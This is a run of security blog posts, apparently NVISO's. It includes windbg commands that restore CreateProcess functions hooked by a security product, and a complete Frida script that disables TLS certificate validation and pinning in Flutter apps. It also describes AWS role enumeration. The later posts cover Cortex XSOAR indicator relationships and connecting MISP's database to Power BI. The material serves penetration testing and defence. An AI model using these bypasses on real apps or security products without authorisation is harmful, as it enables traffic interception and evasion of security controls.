A different way to identify the hooking DLL is to compare the list of loaded DLLs with and without the security solution active. To simulate this we run begin.exe twice – once with and once without the AChook.dll. To list the DLLs as a text we can use “listdlls”:

Output of listdlls against the begin.exe process.
Output of listdlls against the begin.exe process.

First we need to identify which DLL was injected into a process. We start by running listdlls against the just started begin.exe process and saving the output:

listdlls begin.exe > before

Then we inject AChook.dll using Process Hacker and save listdlls’s output again:

listdlls begin.exe > after

Next, we compare those two output files using “gvim” (of course any other text editor can be used).

Using gvim to compare both outputs.
Using gvim to compare both outputs.

As we can see below, a new DLL AChook.dll was added:

Diff of both lists of loaded DLLs in the begin.exe process.
Diff of both lists of loaded DLLs in the begin.exe process.

Alright. So far we determined that a DLL was injected to the process. At this point we could search the DLL on disk to see to if it belongs to your target security solution. In our case we created it ourselves though, so we’re not going to do that.

The DLL is suspicious because its name contains the phrase “hook”. However we want to gain more confidence that it really hooks anything.

When you are examining a security solution it’s always a good idea to read its documentation. The product that I was analysing had specifically mentioned that it uses MS Detours hooks to function. However, it did not mention anything regarding the application control implemented in kernel space and also did not mention which DLL it used for hooking.

Unfortunately there is no single (special) Windows API that would do the hooking. Instead it uses multiple APIs to do its job. I wanted to find a rare API or a sequence of APIs that I could use as some sort of signature. I found one API that is quite special and rarely used (unless you want to do hooking): “FlushInstructionCache”.

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-flushinstructioncache

As the documentation says:

“Applications should call FlushInstructionCache if they generate or modify code in memory. The CPU cannot detect the change, and may execute the old code it cached.”

So if the MS Detours code wants its new jump instruction to be executed it needs to call FlushInstructionCache API. In summary what MS Detours needs to do when installing the hook is to:

  • Allocate memory for the trampoline function;
  • Change the access of the code of the target function to make it writable;
  • Copy the instructions from the beginning of the target function (the ones that it’s going to replace) to previously allocated space; and make changes there so that the trampoline function ends up executing your code;
  • Replace the beginning of the target function with a jump instruction to trampoline function;
  • Change the access of the code of the target function back to the original access;
  • Flush the instruction cache.

You can find the FlushInstructionCache function in the imports of AChook.dll as can be seen in IDA:

IDA displaying the PE imports of begin.exe.
IDA displaying the PE imports of begin.exe.

Or you can use “dumpbin” to do the same:

Finding the FlushInstructionCache PE import in begin.exe using dumpbin.
Finding the FlushInstructionCache PE import in begin.exe using dumpbin.

At this point we have a very suspicious DLL and we want to determine which APIs it hooks and also restore them.

IDENTIFYING HOOKS AND RESTORING THEM

Since I was experimenting with dynamic binary instrumentation tools before, I knew that it is also possible to detect hooks by using Intel’s Pintools. It requires you to write a small program however. I won’t go into detail here, maybe this is a topic for another blogpost.

But in short Pintools enables you to split the code into blocks, something very similar to what IDA does. It also enables you to determine to which binary or DLL this code block belongs to.

Remember that MS detours installed a jmp instruction at the beginning of the target API which jumped to a newly allocated memory region. So if you see at the beginning of the API that a code block is executed that does not belong to the API’s DLL then this API is hooked. The drawback of this solution is that the hooked API needs to run in order to be detected. It also does not allow you to retrieve the original bytes of the hooked API for restoration.

More information about Pintools can be found here.

Let’s discuss something much simpler and more effective instead. Remember that MS Detours first changes the memory to be writable and then changes it back, let’s use that to our advantage.

We will use windbg for this. What we need to do is to:

  1. Start begin.exe
  2. Attach windbg to the begin.exe process.
  3. Set a breakpoint on loading of AChook.dll (sxe ld AChook.dll)
  4. Continue execution of begin.exe process (g)
  5. Inject AChook.dll into begin.exe process (Process Hacker)
  6. The breakpoint will hit.
  7. Set new breakpoint on VirtualProtect with a custom command to print first 5 instructions and continue execution. (bp KERNELBASE!VirtualProtect “u rcx L5;g” )
  8. Set output log file and continue execution (.logopen C:\BLOGPOST\OUTPUT.log ; g)
  9. The debugger will start hitting and continuing the breakpoints. After the output stops moving click the pause button on the debugger.
  10. Don’t click on the ok button of the message box. Close the log file. Collect and inspect the data in the log file. Remove a few – if any – false positives (.logclose).

The whole process might look like this:

Debugging the begin.exe process in windbg.
Debugging the begin.exe process in windbg.

The output above shows that when the breakpoint of the CreateProcessWStub and CreateProcessAStub are hit for the first time, they are not hooked yet: they don’t contain the jmp instruction at the beginning yet. However, the second time they are hit we can see a jmp instruction at the beginning, thus we can cunclude that they are hooked.

From this output we know that  CreateProcessW and  CreateProcessA were hooked. It also gives us the original bytes so we could restore the original functions if we wanted to.

RESTORING ORIGINAL FUNCTIONS:

Using the above output of windbg, we can restore the original functions with the following windbg commands:

eb KERNEL32!CreateProcessWStub 4c 8b dc 48 83 ec 58
eb KERNEL32!CreateProcessAStub 4c 8b dc 48 83 ec 58

The steps are easier this time:

  1. Run begin.exe
  2. Inject AChook.dll into it (using Process Hacker)
  3. Attach windbg to the begin.exe process
  4. Run the commands mentioned above and continue execution (eb … ; g)
  5. Click on the “OK” button of the message box to launch myapp.exe

And – voilà! – here is the result:

myapp.exe executed by begin.exe after restoring hooked functions.
myapp.exe executed by begin.exe after restoring hooked functions.

CONCLUSION

In this blogpost we have discussed what hooks are, how to identify a DLL that does the hooking, how to identify the hooks that it sets and also how to restore the original functions once the hooking DLL was loaded. Of course a proper security solution uses controls in kernel space to do application control, so it’s not possible for the application to just restore the original functions. Although there could be implementation mistakes in that as well, but that is a story for another time.

I hope you enjoyed.

About the author

Oliver, is a cyber security expert at NVISO. He has almost a decade and a half of IT experience of which half of it is in cyber security. Throughout his career he has obtained many useful skills and also certificates. He’s constantly exploring and looking for more knowledge. You can find Oliver on LinkedIn.

Intercept Flutter traffic on iOS and Android (HTTP/HTTPS/Dio Pinning)

18 August 2022 at 15:54

Some time ago I wrote some articles on how to Man-In-The-Middle Flutter on iOS, Android (ARM) and Android (ARM64). Those posts were quite popular and I often went back to copy those scripts myself.

Last week, however, we received a Flutter application where the script wouldn’t work anymore. As we had the source code, it was easy to figure out that the application was using the dio package to perform SSL Pinning.

While it would be possible to remove the pinning logic and recompile the app, it’s much nicer if we can just disable it at runtime, so that we don’t have to recompile ourselves. The result of this post is a Frida script that works both on Android and iOS, and disables the full TLS verification including the pinning logic.

TL;DR

The test app

As usual, we’ll create a test app to validate our script. I’ve created a basic Flutter app similar to the previous posts which has three buttons: HTTP, HTTPS and HTTPS (Pinned).

The app can be found on the GitHub page and an APK and IPA build are available. The Dio pinning logic is pretty straightforward:

ByteData data = await rootBundle.load('raw/certificate.crt');
Dio dio = Dio();
(dio.httpClientAdapter as DefaultHttpClientAdapter).onHttpClientCreate  = (client) {
  SecurityContext sc = new SecurityContext();
  sc.setTrustedCertificatesBytes(data.buffer.asUint8List());
  HttpClient httpClient = new HttpClient(context: sc);
  return httpClient;
};

try {
  Response response = await dio.get("https://www.nviso.eu/?dio");
  _status = "HTTPS: SUCCESS (" + response.headers.value("date")! + ")" ;
} catch (e) {
  print("Request via DIO failed");
  print("Exception: $e");
  _status = "DIO: ERROR";
}

The new approach

Originally, we hooked the ssl_crypto_x509_session_verify_cert_chain function, which can currently be found at line 361 of ssl_x509.cc. This method is responsible for validating the certificate chain, so if this method returns true, the certificate chain must be valid and the connection is accepted.

When performing a MitM on the test app on Android ARM64, the following error is printed in logcat:

3540  3585 I flutter : Request via DIO failed
3540  3585 I flutter : Exception: DioError [DioErrorType.other]: HandshakeException: Handshake error in client (OS Error: 
3540  3585 I flutter : 	CERTIFICATE_VERIFY_FAILED: self signed certificate in certificate chain(handshake.cc:393))
3540  3585 I flutter : Source stack:
3540  3585 I flutter : #0      DioMixin.fetch (package:dio/src/dio_mixin.dart:488)
3540  3585 I flutter : #1      DioMixin.request (package:dio/src/dio_mixin.dart:483)
3540  3585 I flutter : #2      DioMixin.get (package:dio/src/dio_mixin.dart:61)
3540  3585 I flutter : #3      _MyHomePageState.callPinnedHTTPS (package:flutter_pinning_demo/main.dart:124)
3540  3585 I flutter : <asynchronous suspension>
3540  3585 I flutter : HandshakeException: Handshake error in client (OS Error: 
3540  3585 I flutter : 	CERTIFICATE_VERIFY_FAILED: self signed certificate in certificate chain(handshake.cc:393))

Flutter gives us some nice information: there’s a self-signed certificate in the certificate chain, which it doesn’t like.

The original MitM script hooks session_verify_cert_chain, and for some reason the hooks were never triggered. The session_verify_cert_chain method is called from ssl_verify_peer_cert on line 386 and the error that is shown above results from OPENSSL_PUT_ERROR on line 393:

uint8_t alert = SSL_AD_CERTIFICATE_UNKNOWN;
  enum ssl_verify_result_t ret;
  if (hs->config->custom_verify_callback != nullptr) {
    ret = hs->config->custom_verify_callback(ssl, &alert);
    switch (ret) {
      case ssl_verify_ok:
        hs->new_session->verify_result = X509_V_OK;
        break;
      case ssl_verify_invalid:
        // If |SSL_VERIFY_NONE|, the error is non-fatal, but we keep the result.
        if (hs->config->verify_mode == SSL_VERIFY_NONE) {
          ERR_clear_error();
          ret = ssl_verify_ok;
        }
        hs->new_session->verify_result = X509_V_ERR_APPLICATION_VERIFICATION;
        break;
      case ssl_verify_retry:
        break;
    }
  } else {
    ret = ssl->ctx->x509_method->session_verify_cert_chain(
              hs->new_session.get(), hs, &alert)
              ? ssl_verify_ok
              : ssl_verify_invalid;
  }

  if (ret == ssl_verify_invalid) {
    OPENSSL_PUT_ERROR(SSL, SSL_R_CERTIFICATE_VERIFY_FAILED);
    ssl_send_alert(ssl, SSL3_AL_FATAL, alert);
  }

The code path that is most likely taken, is that a custom_verify_callback is registered, which makes line 368 return true, and the callback executed on line 369 returns ssl_verify_invalid. The code then jumps to line 392 and the ret variable does equal ssl_verify_invalid so the alert is shown.

uint8_t alert = SSL_AD_CERTIFICATE_UNKNOWN;
  enum ssl_verify_result_t ret;
  if (hs->config->custom_verify_callback != nullptr) {
    ret = hs->config->custom_verify_callback(ssl, &alert);
    switch (ret) {
      case ssl_verify_ok:
        hs->new_session->verify_result = X509_V_OK;
        break;
      case ssl_verify_invalid:
        // If |SSL_VERIFY_NONE|, the error is non-fatal, but we keep the result.
        if (hs->config->verify_mode == SSL_VERIFY_NONE) {
          ERR_clear_error();
          ret = ssl_verify_ok;
        }
        hs->new_session->verify_result = X509_V_ERR_APPLICATION_VERIFICATION;
        break;
      case ssl_verify_retry:
        break;
    }
  } else {
    ret = ssl->ctx->x509_method->session_verify_cert_chain(
              hs->new_session.get(), hs, &alert)
              ? ssl_verify_ok
              : ssl_verify_invalid;
  }

  if (ret == ssl_verify_invalid) {
    OPENSSL_PUT_ERROR(SSL, SSL_R_CERTIFICATE_VERIFY_FAILED);
    ssl_send_alert(ssl, SSL3_AL_FATAL, alert);
  }

The easiest approach would be to hook the ssl_verify_peer_cert function and modify the return value to be ssl_verify_ok, which is 0. By hooking this earlier method, both the default SSL validation and any custom validation is disabled. Unfortunately, the ssl_send_alert function already triggers an error and so modifying the return value of ssl_verify_peer_cert would be too late.

Fortunately, we can just throw out the entire function and replace it with a return 0 statement:

function hook_ssl_verify_peer_cert(address)
{
    Interceptor.replace(address, new NativeCallback((pathPtr, flags) => {
        console.log("[+] Certificate validation disabled");
        return 0;
    }, 'int', ['pointer', 'int']));
}

The only thing that’s left is finding the actual location of the ssl_verify_peer_cert function.

Finding the offsets

Manually

The approach which was explained in the previous blogposts can be followed to identify the ssl_verify_peer_cert function:

  • Find references to the string “x509.cc” and compare them to x509.cc to find session_verify_cert_chain
  • Find references to the method you identified in order to identify ssl_verify_peer_cert

Both x509.cc and handshake.cc use the OPENSSL_PUT_ERROR macro which swaps in the file name and line number, which you can use to identify the correct functions.

By pattern matching

Alternatively, we can use Frida’s pattern matching engine to search for functions that look very similar to the function from the demo app. The first bytes of a function are typically very stable, as long as the number of local variables and function arguments don’t change. Still, different compilers may generate different assembly code (e.g. usage of different registers or optimisations) so we do need to have some wildcards in our pattern.

After downloading and creating multiple Flutter apps with different Flutter versions, I came to the following list:

iOS x64: FF 83 01 D1 FA 67 01 A9 F8 5F 02 A9 F6 57 03 A9 F4 4F 04 A9 FD 7B 05 A9 FD 43 01 91 F? 03 00 AA 1? 00 40 F9 ?8 1A 40 F9 15 ?5 4? F9 B5 00 00 B4
Android x64: F? 0F 1C F8 F? 5? 01 A9 F? 5? 02 A9 F? ?? 03 A9 ?? ?? ?? ?? 68 1A 40 F9
Android x86: 2D E9 FE 43 D0 F8 00 80 81 46 D8 F8 18 00 D0 F8 ?? 71

These patterns should only result in one hit in the libFlutter library and all match to the start of the ssl_verify_peer_cert function.

The final script

Putting all of this together gives the following script. It’s one script that can be used on Android x86, Android x64 and iOS x64.

Check GitHub for the latest version

The script below may have been updated on the GitHub repo.

var TLSValidationDisabled = false;
var secondRun = false;
if (Java.available) {
    console.log("[+] Java environment detected");
    Java.perform(hookSystemLoadLibrary);
    disableTLSValidationAndroid();
    setTimeout(disableTLSValidationAndroid, 1000);
} else if (ObjC.available) {
    console.log("[+] iOS environment detected");
    disableTLSValidationiOS();
    setTimeout(disableTLSValidationiOS, 1000);
}

function hookSystemLoadLibrary() {
    const System = Java.use('java.lang.System');
    const Runtime = Java.use('java.lang.Runtime');
    const SystemLoad_2 = System.loadLibrary.overload('java.lang.String');
    const VMStack = Java.use('dalvik.system.VMStack');

    SystemLoad_2.implementation = function(library) {
        try {
            const loaded = Runtime.getRuntime().loadLibrary0(VMStack.getCallingClassLoader(), library);
            if (library === 'flutter') {
                console.log("[+] libflutter.so loaded");
                disableTLSValidationAndroid();
            }
            return loaded;
        } catch (ex) {
            console.log(ex);
        }
    };
}

function disableTLSValidationiOS() {
    if (TLSValidationDisabled) return;

    var m = Process.findModuleByName("Flutter");

    // If there is no loaded Flutter module, the setTimeout may trigger a second time, but after that we give up
    if (m === null) {
        if (secondRun) console.log("[!] Flutter module not found.");
        secondRun = true;
        return;
    }

    var patterns = {
        "arm64": [
            "FF 83 01 D1 FA 67 01 A9 F8 5F 02 A9 F6 57 03 A9 F4 4F 04 A9 FD 7B 05 A9 FD 43 01 91 F? 03 00 AA 1? 00 40 F9 ?8 1A 40 F9 15 ?5 4? F9 B5 00 00 B4 "
        ],
    };
    findAndPatch(m, patterns[Process.arch], 0);

}

function disableTLSValidationAndroid() {
    if (TLSValidationDisabled) return;

    var m = Process.findModuleByName("libflutter.so");

    // The System.loadLibrary doesn't always trigger, or sometimes the library isn't fully loaded yet, so this is a backup
    if (m === null) {
        if (secondRun) console.log("[!] Flutter module not found.");
        secondRun = true;
        return;
    }

    var patterns = {
        "arm64": [
            "F? 0F 1C F8 F? 5? 01 A9 F? 5? 02 A9 F? ?? 03 A9 ?? ?? ?? ?? 68 1A 40 F9",
        ],
        "arm": [
            "2D E9 FE 43 D0 F8 00 80 81 46 D8 F8 18 00 D0 F8 ?? 71"
        ]
    };
    findAndPatch(m, patterns[Process.arch], Process.arch == "arm" ? 1 : 0);
}

function findAndPatch(m, patterns, thumb) {
    console.log("[+] Flutter library found");
    var ranges = m.enumerateRanges('r-x');
    ranges.forEach(range => {
        patterns.forEach(pattern => {
            Memory.scan(range.base, range.size, pattern, {
                onMatch: function(address, size) {
                    console.log('[+] ssl_verify_peer_cert found at offset: 0x' + (address - m.base).toString(16));
                    TLSValidationDisabled = true;
                    hook_ssl_verify_peer_cert(address.add(thumb));
                }
            });
        });
    });

    if (!TLSValidationDisabled) {
        if (secondRun)
            console.log('[!] ssl_verify_peer_cert not found. Please open an issue at https://github.com/NVISOsecurity/disable-flutter-tls-verification/issues');
        else
            console.log('[!] ssl_verify_peer_cert not found. Trying again...');
    }
    secondRun = true;
}

function hook_ssl_verify_peer_cert(address) {
    Interceptor.replace(address, new NativeCallback((pathPtr, flags) => {
        return 0;
    }, 'int', ['pointer', 'int']));
}

About the author

Jeroen Beckers
Jeroen Beckers

Jeroen Beckers is a mobile security expert working in the NVISO Software Security Assessment team. He is a SANS instructor and SANS lead author of the SEC575 course. Jeroen is also a co-author of OWASP Mobile Security Testing Guide (MSTG) and the OWASP Mobile Application Security Verification Standard (MASVS). He loves to both program and reverse engineer stuff.

Cortex XSOAR Tips & Tricks – Creating indicator relationships in integrations

23 September 2022 at 08:00

Introduction

When a Threat Intelligence Management (TIM) license is present in your Cortex XSOAR environment, the feature to create relationships between indicators is available. This allows you to describe how indicators relate to each other and use this relationship in your automated analysis of a security incident.

In the previous blog post in this series, we gave a brief overview of the additional features available in Cortex XSOAR when a TIM license is imported. We also showed you how to create relationships between indicators from within automations by using the CommandResults class from CommonServerPython.

In this post, we will show you how to create relationships from within a Cortex XSOAR integration. This requires a different approach because there are different features available in an automation and an integration.

Threat Intelligence Integrations

The most common use case for creating indicators and their relationships from within an integration is related to threat intelligence. In general, these integrations import threat intelligence data as indicators into Cortex XSOAR. These indicators can either be used by the SOC analysts in their investigations of incidents or, after automated or manual curation, can be exported to other platforms for additional detection capabilities.

An example of such an integration would be the MITRE ATT&CK v2 integration created by Cortex XSOAR. This integration fetches the MITRE ATT&CK techniques from the MITRE TAXI feed and creates Attack Pattern indicators in Cortex XSOAR for each technique.

An Attack Pattern indicator layout is available after installing the MITRE ATT&CK v2 content pack which visualizes all the fetched data:

Attack Pattern Indicator
Attack Pattern Indicator

In the Relationships section of the Attack Pattern indicator layout, you can see all the related indicators:

Relationships of an Attack Pattern indicator

Besides the Attack Pattern indicators, the MITRE ATT&CK integration also creates indicators for the APT groups that use the technique, which malware is related to the technique and information about the how it can be mitigated.

In our SOC, we actively use these Attack Pattern indicators by associating them to the incident based on the MITRE ATT&CK technique IDs available in the incident data fetched from the SIEM or EDR platform. This allows the SOC analyst to quickly see which techniques are used in the incident and retrieve all relevant information at a click of a button.

Create Indicator Relationships

When creating your own custom integration which fetches data to create indicator relationships, you will not be able to use the same approach as we describe in the previous blog post in this series by using the CommandResults class from CommonServerPython.

To create indicator relationships from within an integration, you will need to use the createIndicators method of the demisto class. As when using the CommandResults, you will need to define the indicator relationship in an instance of the EntityRelationship class. Because the instance will be used by the createIndicators method, to_indicator() should be called when creating it.

indicator_relationships = []
 
indicator_relationships.append(
    EntityRelationship(
        name=EntityRelationship.Relationships.USES,
        entity_a="u4872",
        entity_a_type="Account",
        entity_b="pc135456.domain.local",
        entity_b_type="Host"
    ).to_indicator()
)

The createIndicators method takes a list of indicators to create as an argument and cannot create relationships without an indicator. We will need to use a dummy indicator which will have the list of EntityRelationship instances as a value of the indicator relationships argument:

dummy_indicator = [
    {
        "value": "$$DummyIndicator$$",
        "relationships": indicator_relationships
    }
]

This dummy indicator should be passed as the indicators_batch argument of the createIndicators method:

demisto.createIndicators(indicators_batch=dummy_indicator)

When calling the createIndicators method the dummy indicator will be created together with all the indicator relationships defined in the indicator relationships argument. The dummy indicators will remain present in Cortex XSOAR but will not be associated to any incident.

References

https://xsoar.pan.dev/docs/reference/api/common-server-python#commandresults

https://xsoar.pan.dev/docs/reference/integrations/mitre-attck-v2

https://attack.mitre.org/resources/working-with-attack/

https://xsoar.pan.dev/docs/reference/api/demisto-class#createindicators

https://xsoar.pan.dev/docs/reference/api/common-server-python#entityrelationship

About the author

Wouter is an expert in the SOAR engineering team in the NVISO SOC. As the SOAR engineering team lead, he is responsible for the development and deployment of automated workflows in Palo Alto Cortex XSOAR which enable the NVISO SOC analysts to faster detect attackers in customers environments. With his experience in cloud and devops, he has enabled the SOAR engineering team to automate the development lifecycle and increase operational stability of the SOAR platform.

You can contact Wouter via his LinkedIn page.


Want to learn more about SOAR? Sign- up here and we will inform you about new content and invite you to our SOAR For Fun and Profit webcast.
https://forms.office.com/r/dpuep3PL5W

The dangers of trust policies in AWS

25 October 2022 at 11:00
AWS role structure

Introduction

Everyone that has used Amazon Web Services (AWS) knows that the cloud environment has a unique way of granting access to users and resources. This is done by allowing users and/or resources to temporarily assume roles. These kinds of actions are possible because of trust policies that are assigned to those roles. A trust policy is a document that is attached to every role in an AWS environment. This document describes what users, groups, roles and/or resources are allowed to temporarily assume the role in order to perform actions.

Trust policies are very useful to temporarily grant specific access to a user or a resource. They add a layer of protection on the roles to avoid misuse by an adversary. Trust policies are most commonly used in either of following four cases:

  • Allowing an AWS service to access another AWS service
  • Allowing cross-account access between two AWS accounts
  • Allowing a third-party web identity access to the AWS account
  • As a means of single sign-on authentication

Benefits and dangers of trust policies

There are many possible implementations of a trust policy. Below are two examples of trust policies and their use cases.

Example 1: a role is created that has access to a lambda function. The trust policy for this role is made so that everyone has access to this role (using the “*” wildcard). This could be used when a website has a lambda function that calculates something unique, which everyone should be able to use.

Example 2: there are two AWS accounts, one of which is used to run an application that is publicly available and the other is used for security monitoring on other AWS accounts. In this setup, there is a lambda function in the public AWS account that pushes all logs from the public account to the logging AWS account. For this, a role is created inside the security monitoring AWS account that can be assumed by the lambda function on the public account.

Visualized setup of Example 2
Figure 1: Visual of the setup of Example 2

Both examples described above have some fundamental problems with their trust policies. In Example 1, we allow anyone and everything access to our lambda function. Any mistake in the code can therefore be exploited and can lead to an initial foothold on the AWS account. Even more drastically, if the permissions of the role do not limit access to just the single lambda, anyone can have access to any lambda function in the AWS account!

Even more problematic, there is an attack technique that uses trust policies to allow external enumeration of users and roles on a target environment. An adversary wouldn’t even need access to this environment in order to enumerate the names of users and roles. The core of the attack relies on the following: The attacker has a role on their environment with an initial trust policy attached to it. By changing the trust policy, they can attempt to allow or deny target users or roles access to their own role. If the change causes an error, the user or role does not exist. Similarly, if the change is successful, the user or role exists. Adversaries use this commonly in the wild to enumerate roles and attempt to assume the discovered roles. In Example 1, because the trust policy allows anyone to access the role, this will create an initial foothold in the AWS account.

In Example 2, we are going to assume that the adversary already has an initial foothold in the AWS account. A real-life scenario of this could be a compromised or dissatisfied programmer that has the option to modify lambda functions. Any permission that the lambda function has can therefore be abused to get more information on the security monitoring AWS account. A single permission problem can therefore be abused and have disastrous consequences on this sensitive environment.

Visualized attack on Example 2
Figure 2: Example of an attack executed on Example 2

Best practices for trust policies

A trust policy allows a user or resource to access a specific set of permissions inside an AWS account. Because of this, it is important that clear boundaries are defined to avoid adversaries abusing the role. The best practice for trust policies is to limit the resources, users, groups and roles that have access to them. Avoid the “*” wildcard at all cost and limit access to the role to a single service or a single group in the AWS account. If we look back at Example 1, a better implementation would be to only allow the website access to the lambda function. This way, all traffic can first be filtered out by the website before being sent to the lambda function.

Overall, it is best to avoid using cross-account trust policies since they allow lateral movement between AWS accounts. However, since this is not always possible, following best practice can help you better protect your AWS accounts: Before setting up the cross-account trust policy, first identify the most sensitive of two accounts. This account is the one that will perform the action, since this is the most trusted account. If we want to reengineer Example 2, we could set up a function inside the security monitoring AWS account instead of the public AWS account. This function would then have access to a role on the public AWS account and would pull the data from that account into its own.

Visualized potential solution for Example 2
Figure 3: An example of a “better” solution for Example 2

Conclusion

Using trust policies allows for many opportunities and complex setups. However, with a lot of possibilities also comes a lot of responsibility. Therefore, it is important to properly plan trust relations before implementing them.

When setting up trust policies, always ensure that the policy applies to the least possible number of users or resources. Also make sure that the more sensitive resources or accounts perform the actions on the less sensitive resources and accounts. Ensure that in all cases the least-privilege principle is applied to your roles.

Visualizing MISP Threat Intelligence in Power BI – An NVISO TI Tutorial

9 November 2022 at 13:42
MISP Power BI Dashboard

Problem Statement

Picture this. You are standing up your shiny new MISP instance to start to fulfill some of the primary intelligence requirements that you gathered via interviews with various stakeholders around the company. You get to some requirements that are looking for information to be captured in a visualization, preferably in an automated and constantly updating dashboard that the stakeholder can look into at their leisure.

Well MISP was not really made for that. There is the MISP-Dashboard repo but that is not quite what we need. Since we want to share the information and combine it with other data sources and make custom visualizations we need something more flexible and linked to other services and applications the organization uses. Also it looks as if other stakeholders would like to compare and contrast their datasets with that of the TI program. Then you think, it would be nice to be able to display all the work that we put into populating the MISP instance and show value over time. How the heck are we going to solve all of these problems with one solution which doesn’t cost a fortune???

Links to review:

CTIS-2022 Conference talk – MISP to PowerBI: https://youtu.be/0i7_gn1DfJU
MISP-Dashboard powered by ZMQ: https://github.com/MISP/misp-dashboard

Proposed Solution

Enter this idea = “Making your data (and yourself/your team) look amazing with Power BI!”

In this blog we will explain how to use the functionality of Power BI to accomplish all of these requirements. Along the way you will probably come up with other ideas around data analytics that go beyond just the TI data in your MISP instance. Having all this data in a platform that allows you to slice and dice it without messing with the original source is truly game changing.

What is MISP???

If you do not know what MISP is, I prepped this small section.

MISP is a Threat Intelligence Sharing Platform that is now community driven. You can read more about its history here: https://www.misp-project.org/

In a nutshell, MISP is a platform that allows you to capture, generate, and share threat intelligence in a structured way. It also helps control access to the data that the user and organization is supposed to be able to access. It uses MariaDB as its back-end database. MariaDB is a fork of MySQL. This makes it a prime candidate for using Power BI to analyze the data.

What is Power BI???

Power BI is a set of products and services offered by Microsoft to enable users to centralize Business Intelligence (BI) data with all the tools to analyze and visualize it. Other applications and services that are similar to Power BI are Tableau, MicroStrategy, etc.

Power BI Desktop

  • Desktop application
  • Complete data analysis solution
  • Includes Power Query Editor (ETLs)
  • Can upload data and reports to the Power BI service
  • Can share reports and templates manually with other Power BI Desktop users
  • Free (as in beer), runs on modern Windows systems

Power BI Service

  • Cloud solution
  • Can link visuals in reports to dashboards (scheduled data syncs)
  • Used for collaboration and sharing
  • Limited data modelling capabilities
  • Not Free (Pro license level included with Microsoft E5 license, per individual licenses available as well)

Links to Pricing

More information here: https://docs.microsoft.com/en-gb/power-bi/fundamentals/power-bi-overview and https://powerbi.microsoft.com/en-au/pricing/

Making the MISP MariaDB accessible to Power BI Desktop

MISP uses MariaDB which is a fork of MySQL. These terms are used interchangeably during this blog. You can use MariaDB or MySQL on the command line. I will use MySQL in this blog for conciseness.

Adding a Power BI user to MariaDB

When creating your MISP instance, you create a root user for the MariaDB service. Log in with that user to create a new user that can read the MISP database.

mysql -u root -p
# List users
SELECT User, Host FROM mysql.user;
# Create new user
CREATE USER 'powerbi'@'%' IDENTIFIED BY '<insert_strong_password';
GRANT SELECT on *.* to 'powerbi'@'';
FLUSH PRIVILEGES;
# List users again to verify
SELECT User, Host FROM mysql.user;
# Close mysql terminal
exit

Configuring MariaDB to Listen on External Interface

We need to make the database service accessible outside of the MISP instance. By default it listens only on 127.0.0.1

sudo netstat -tunlp
# You should see that mysqld is listening on 127.0.0.1:3306

# Running the command below is helpful if you do not know what locations are being read for configuration information by mysql
mysql --help | grep "Default options" -A 1

# Open the MariaDB config file below as it is the one that is being used by default in normal MISP installs.
sudo vim /etc/mysql/mariadb.conf.d/50-server.cnf

# I will not go into how to use vim as you can use the text editor of your choice. (There are strong feelings here....)
# Add the following lines in the [mysqld] section:

skip-networking=0
skip-bind-address

# Comment out the bind-address line with a # 
#bind-address

# Should look like this when you are done: #bind-address            = 127.0.0.1
# Then save the file

# Restart the MariaDB service
sudo service mysql restart

# List all the listening services again to validate our changes. 
sudo netstat -tunlp
# You should see the mysqld service now listening on 0.0.0.0:3306

Optional: Setup Firewall Rules to Control Access (recommended)

To maintain security we can add host-based firewall rules to ensure only our selected IPs or network ranges are allowed to connect to this service. If you are in a local environment, behind a VPN, etc., then this step might not be necessary. Below is a quick command to enable UFW on Ubuntu and allow all the ports needed for MISP, MySQL, and for maintenance via SSH.

# Switch to root for simplicity
sudo su -

# Show current status
ufw status

# Set default rules
ufw default deny incoming
ufw default allow outgoing

# Add your trusted network range or specific IPs for the ports below. If there are additional services you need to allow connections to you can add them in the same manner. Example would be SNMP. Also if you are using an alternate port for SSH, make sure you update that below or you will be cut off from your server. 
ufw allow from 10.0.0.0/8 to any port 22,80,443,3306 proto tcp

# Show new rules listed by number
ufw status numbered

# Start the firewall
ufw enable

For more information on UFW, I suggest the Digital Ocean tutorials.

You can find a good one here: https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04

Testing Access from Remote System with MySQL Workbench

Having a tool to test and work with MySQL databases is crucial for testing in my opinion. I use the official “MySQL Workbench” that can be found at the link below:
https://dev.mysql.com/downloads/workbench/

You can follow the documentation here on how to use the tool and create a connection: https://dev.mysql.com/doc/workbench/en/wb-mysql-connections-new.html

Newer versions of the Workbench try to enforce connections to databases over SSL/TLS for security reasons. By default, the database connection in use by MISP does not have encryption configured. It is also out of the scope of this article to set this up. To get around this, you can add useSSL=0 to the “Others” text box in the Advanced tab of the connection entry for your MISP server. When you test the connection, you will receive a pop-up warning about incompatibility. Proceed and you should have a successful test.

MySql Workbench Settings

Once the test is complete, close the create connection dialog. You can then click on the connection block in Workbench and you should be shown a screen similar to the one below. If so, congratulations! You have setup your MISP instance database to be queried remotely.

MySQL Workbench Data Example

Installing Power BI Desktop and MySQL Drivers

Oracle MySQL Connector

For Power BI Desktop to connect to the MySQL server you will need to install a “connector” which tells Power BI how to communicate with the database. Information on this process is found here: https://docs.microsoft.com/en-us/power-query/connectors/mysqldatabase
The “connector” itself can be downloaded from here: https://dev.mysql.com/downloads/connector/net/

You will have to create a free Oracle account to be able to download the software.

Test Access from Power BI Desktop to MISP MariaDB

Once installed, you will be able to select MySQL from the “Get data” button in the ribbon in the Data section of the Home tab. (Or the splash screen that pops up each time you load Power BI Desktop, hate that thing. I swear I have unchecked the “Show this screen on startup” but it doesn’t care. I digress.)

Do not get distracted by the amount of datatypes you can connect to Power BI. This is where the nerd rabbit hole begins. FOCUS!

  1. Click on Get data
  2. Click on More…
  3. Wait for it to load
  4. Type “MySQL” in the search box
  5. Select MySQL database from the panel to the right
  6. Click Connect
Selecting Data Type
  1. Setup IP address and port in the Server field for your MISP instance
  2. Type misp in the Database field
  3. Click OK
Configure MISP Connection Information
  1. Select Database for the credential type
  2. Enter the user we created and the password
  3. Select the database level in the “Select which level to apply these settings to” drop-down menu
  4. Click Connect
Connecting to the MISP MariaDB Service

View your data in all its glory!

If you get an error such as “An error happened while reading data from the provider: ‘Character set ‘utf8mb3’ is not supported by .Net Framework.”, do not worry. Just install the latest version of the .NET Framework and the latest MySQL Connector for .NET. This should fix any issues you are having.

You can close the window; Power BI will remember and store the connection information for next time.

If you cannot authenticate or connect, recheck your username and password and confirm that you can reach the MISP server on port 3306 from the device that you are running Power BI Desktop on. Also, make sure you are using Database for the authentication type and not Windows Auth.

